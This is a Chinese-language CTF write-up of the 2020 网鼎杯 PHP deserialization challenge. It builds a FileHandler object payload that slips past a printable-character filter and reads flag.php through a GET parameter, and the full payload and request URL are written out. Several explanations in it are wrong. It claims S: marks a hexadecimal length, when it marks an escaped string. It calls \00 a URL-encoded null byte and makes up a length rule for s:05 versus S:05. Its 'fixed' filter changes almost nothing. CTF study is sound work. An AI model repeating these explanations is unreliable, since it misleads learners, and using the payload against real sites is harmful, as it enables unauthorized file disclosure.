1. 漏洞背景与核心逻辑分析
这个CTF题目来自网鼎杯2020青龙组,考察的是PHP反序列化漏洞的进阶利用技巧。题目设计了一个典型的反序列化入口点,配合字符过滤机制,需要选手绕过安全限制实现任意文件读取。
核心漏洞存在于以下代码段:
php复制if(isset($_GET['str'])) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
这段代码的关键点在于:
- 接收用户输入的
str参数 - 通过
is_valid()函数进行输入过滤 - 对通过检查的字符串进行反序列化操作
2. 安全过滤机制解析
2.1 is_valid()函数工作原理
php复制function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
这个过滤函数检查字符串中每个字符的ASCII码值是否在32-125之间(即可打印字符范围)。这意味着:
- 空字节(ASCII 0)会被拦截
- 非ASCII字符(如中文)会被拦截
- 控制字符(如换行符、制表符)会被拦截
2.2 PHP序列化字符串中的特殊字符
在PHP序列化字符串中,protected属性会被表示为\x00*\x00的形式。例如:
php复制protected $op = 1;
序列化后会变成:
code复制s:5:"\x00*\x00op";i:1;
其中的\x00就是空字节,会被is_valid()函数拦截。
3. 目标类FileHandler分析
php复制class FileHandler {
protected $op;
protected $filename;
protected $content;
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
return file_get_contents($this->filename);
}
}
这个类有三个关键点可以利用:
$op控制程序逻辑分支$filename指定读取的文件路径read()方法使用file_get_contents()读取文件内容
4. 漏洞利用链构建
4.1 基本利用思路
- 实例化FileHandler类
- 设置
$op = 2触发读取逻辑 - 设置
$filename = "flag.php"指定目标文件 - 序列化这个对象
- 绕过
is_valid()检查 - 发送给服务器执行
4.2 绕过字符过滤的技巧
PHP序列化字符串有两种表示字符串长度的方式:
s::十进制表示(默认)S::十六进制表示
关键突破点:
- 将protected属性的空字节
\x00替换为\00(URL编码形式) - 将小写
s:替换为大写S:,利用十六进制表示绕过空字节检查
5. 完整漏洞利用过程
5.1 构造恶意对象
php复制class FileHandler {
protected $op = 2;
protected $filename = "flag.php";
protected $content;
}
$a = new FileHandler();
$payload = serialize($a);
初始序列化结果:
code复制O:11:"FileHandler":3:{s:5:"\x00*\x00op";i:2;s:11:"\x00*\x00filename";s:8:"flag.php";s:10:"\x00*\x00content";N;}
5.2 进行关键替换
php复制$payload = str_replace("\x00", '\00', $payload);
$payload = str_replace('s:', 'S:', $payload);
最终payload:
code复制O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
5.3 发送payload
通过GET参数传递:
code复制http://target.com/?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}
6. 技术细节深入解析
6.1 PHP序列化格式详解
PHP序列化字符串的基本结构:
- 对象:
O:<类名长度>:"<类名>":<属性数量>:{<属性定义>} - 属性:
<类型>:<长度>:"<名称>";<值> - protected属性:名称会被转换为
\x00*\x00<属性名>
6.2 十六进制表示的特殊性
当使用S:表示字符串长度时:
- PHP会将其后的数字解析为十六进制
- 例如
S:5和s:5都表示长度为5 - 但
S:05表示长度为5,而s:05表示长度为2(前导0被忽略)
6.3 空字节处理机制
在PHP中:
\x00是空字节的字面表示\00是URL编码形式的空字节is_valid()检查的是原始字节值,而不是转义后的表示
7. 防御方案与安全建议
7.1 安全的反序列化实践
- 避免直接反序列化用户输入
- 使用JSON等更安全的序列化格式
- 实现签名验证机制
7.2 输入过滤的改进
php复制function is_valid($s) {
// 检查整个字符串是否只包含可打印ASCII字符
return preg_match('/^[ -~]*$/', $s);
}
7.3 PHP配置建议
- 禁用危险函数:
ini复制disable_functions = unserialize - 使用最新版PHP(已修复许多反序列化漏洞)
8. 同类漏洞扩展
类似的PHP反序列化漏洞常出现在:
- CMS系统的插件机制中
- 缓存序列化数据时
- 会话处理机制中
- RPC通信协议中
典型漏洞案例:
- Typecho反序列化漏洞
- ThinkPHP反序列化漏洞
- Laravel反序列化漏洞
9. 实战调试技巧
9.1 本地测试环境搭建
php复制// test.php
class FileHandler { /* 同上 */ }
$payload = 'O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;...}';
$obj = unserialize($payload);
var_dump($obj);
9.2 错误调试方法
- 开启错误报告:
php复制error_reporting(E_ALL); ini_set('display_errors', 1); - 检查序列化字符串长度
- 验证字符编码
10. 高级利用技巧
10.1 属性类型混淆
通过修改序列化字符串中的类型标识,可以触发PHP的类型混淆漏洞:
- 将
i:改为s: - 将
b:改为i:
10.2 利用魔术方法
如果类定义了这些魔术方法,可能形成更复杂的攻击链:
__wakeup()__destruct()__toString()
10.3 字符编码技巧
- 使用UTF-7等特殊编码绕过过滤
- 利用HTML实体编码
- 多重URL编码
在实际渗透测试中,这类反序列化漏洞往往需要结合具体环境进行深入分析和利用。理解底层原理比记忆payload更重要,因为真实场景中的防御措施会更加复杂多变。